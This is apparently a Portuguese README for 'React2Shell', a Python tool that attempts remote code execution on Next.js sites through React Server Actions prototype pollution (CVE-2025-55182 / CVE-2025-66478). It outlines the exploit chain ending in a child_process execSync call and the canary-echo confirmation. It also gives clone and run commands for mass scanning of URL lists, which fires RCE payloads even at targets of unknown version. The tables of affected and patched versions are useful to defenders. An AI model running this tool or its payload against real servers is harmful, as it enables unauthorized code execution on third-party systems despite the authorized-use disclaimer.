
Scanner RCE assíncrono para CVE-2025-55182 / CVE-2025-66478 — poluição de protótipo → execução de código via React Server Actions.
Poluição de protótipo → Execução remota de código via React Server Actions
Detecção assíncrona de canário baseada em saída e na versão - sem suposições cegas
[!WARNING] Apenas para pesquisa de segurança autorizada e testes de penetração. Escanear sistemas sem permissão escrita explícita é ilegal. O autor não assume nenhuma responsabilidade pelo uso indevido desta ferramenta.
React Server Actions passam dados de ação como dados de formulário multipart diretamente para um contexto de execução no servidor. Devido à sanitização insuficiente de poluição de protótipo nas versões afetadas de react-server-dom-webpack, um invasor pode:
Object.prototype_response._prefix no objeto de resposta internoprocess.mainModule.require('child_process').execSync(cmd)
Isso concede Execução Remota de Código não autenticada em qualquer aplicação Next.js publicamente acessível que use React Server Actions com uma versão afetada do React.
CVE-2025-55182 - Ampla: afeta pacotes React 19 (react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack)
CVE-2025-66478 - Estrita: caminho de exploração específico do Next.js pelo endpoint de Server Action /
Este scanner usa verificação de canário baseada em saída - o método mais confiável para confirmar execução real de código com zero falsos positivos:
1. POST / with Next-Action header + multipart prototype-pollution payload
2. Payload executes: echo <random_canary>
3. Vulnerable server throws NEXT_REDIRECT with base64(canary) in the URL
4. Response header: X-Action-Redirect: /login?a=<base64(canary)>
5. Scanner decodes base64 → matches canary → RCE confirmed ✓
allow_redirects=False é fundamental - a confirmação está no cabeçalho, e não no destino do redirecionamento.
git clone https://github.com/InferiorAK/React2Shell
cd React2Shell
pip install -r requirements.txt
# Required only if using --browser mode for improved version detection:
playwright install chromium
playwright install-deps chromium
Requisitos: Python 3.10+
# Single target
python3 CVE-2025-55182_scanner.py -u https://target.com
# Scan a list of URLs
python3 CVE-2025-55182_scanner.py -f urls.txt
# Quiet mode - only print RCE / Vulnerable results
python3 CVE-2025-55182_scanner.py -f urls.txt -q
# Browser mode - headless Chromium for accurate version detection
python3 CVE-2025-55182_scanner.py -f urls.txt -b
# Full options - recommended for large-scale scanning
python3 CVE-2025-55182_scanner.py -f urls.txt -b -q -c 3 -t 20
Cada alvo escaneado recebe um dos seguintes veredictos:
Arquivos de saída (salvos na pasta outputs/, criada automaticamente):
outputs/vuln.txt — resultados RCE e VULNERABLE (adicionados a cada execução)outputs/unknown.txt — alvos com versão Unknown; tente novamente com -b para detecção precisa de versãoPor que a versão aparece como
unknownem mais de 90% dos sites?
Next.js 13+ moderno que usa a arquitetura App Router nunca incorpora a versão do framework no HTML estático. A versão só existe em window.next.version depois que o JavaScript é executado em um contexto real de navegador.
Sem --browser:
__NEXT_DATA__, scripts inline e arquivos de chunk com hashunknown - a filtragem baseada em versão é ignoradaCom --browser (-b):
window.next.version diretamente do DOM ativo# Recommended with browser mode - reduce concurrency (browser pages are resource-heavy)
python3 CVE-2025-55182_scanner.py -f urls.txt -b -c 3
O scanner executa até 7 estágios, parando assim que uma versão é encontrada:
Stage 1 │ HTTP Response Headers
│ X-Powered-By: Next.js X.Y.Z
│ x-nextjs-*, x-next-version
Stage 2 │ Inline <script> Blocks (per-block scan)
│ window.next = { version: "X.Y.Z", ... }
│ version:"X.Y.Z", router: ... ← minified bundle adjacent-key pattern
│ "nextVersion":"X.Y.Z"
│ Next.js vX.Y.Z ← plain text in meta / HTML comments
│ __NEXT_VERSION__ = "X.Y.Z"
Stage 3 │ __NEXT_DATA__ JSON Blob
│ Pages Router only - "version":"X.Y.Z" safe in this context
Stage 4 │ Hashed Chunk URLs (extracted from <script src>)
│ /_next/static/chunks/*, /_next/static/app/*, /_next/static/runtime/*
│ Fetches up to 12 real bundle files, scans for version strings
Stage 5 │ Fixed-name Fallback Chunks
│ main.js, framework.js, webpack.js, _app.js, pages/_app.js
Stage 6 │ /package.json endpoint
│ Dev mode / misconfigured servers expose this directly
Stage 7 │ Playwright Headless Browser [--browser / -b only]
│ Evaluates window.next.version after full JS execution
│ Only triggered when stages 1–6 return "unknown"
Esta ferramenta é publicada apenas para fins educacionais e de pesquisa de segurança autorizada.
O autor, InferiorAK, não é responsável por qualquer dano causado pelo uso indevido.
Sempre obtenha permissão por escrito antes de testar qualquer sistema que você não possua.
Feito por InferiorAK
Meus Links
| Componente | Vulnerável | Corrigido |
|---|
React react-server-dom-* | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
| Next.js 16.x | 16.0.0 – 16.0.6 | 16.0.7+ |
| Next.js 15.x | 15.0.0-15.0.4, 15.1.0-15.1.8, 15.2.0-15.2.5, 15.3.0-15.3.5, 15.4.0-15.4.7, 15.5.0-15.5.6 | 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+ |
| Next.js 14.x | 14.3.0-canary.77+ apenas builds canary | Todos os 14.x estáveis - NÃO afetados |
| Next.js 13.x | - | NÃO afetado |
| Flag | Forma longa | Padrão | Descrição |
|---|
-u | --url | - | URL de um único alvo |
-f | --file | - | Arquivo contendo uma URL por linha |
-o | --output | outputs/vuln.txt | Arquivo de saída para alvos vulneráveis |
-U | --unknown-output | outputs/unknown.txt | Arquivo de saída para alvos com versão desconhecida |
-c | --concurrency | 5 | Conexões HTTP simultâneas |
-t | --timeout | 15 | Timeout por requisição (segundos) |
-q | --quiet | off | Imprimir apenas linhas RCE / VULNERABLE |
-b | --browser | off | Fallback de detecção de versão com Chromium headless via Playwright |
| Veredicto | Cor | Significado |
|---|
RCE | 🔴 Vermelho | Canário confirmado em X-Action-Redirect - execução remota de código comprovada |
VULNERABLE | 🟠 Laranja | Versão na faixa vulnerável; o payload de RCE não ecoou de volta (WAF / configuração corrigida / endpoint errado) |
Unknown | 🟡 Amarelo | Next.js confirmado, mas a versão não pôde ser detectada - tentativa de RCE mesmo assim; salvo em outputs/unknown.txt para nova tentativa no modo navegador |
Not Vulnerable | 🟢 Verde | Versão confirmada como corrigida, ou RCE retornou explicitamente seguro |
Skipped | ⚪ Branco | Versão confirmadamente corrigida ou site não-Next.js - nenhum PoC tentado |
Error | ⚪ Branco | Host inacessível ou falha de conexão |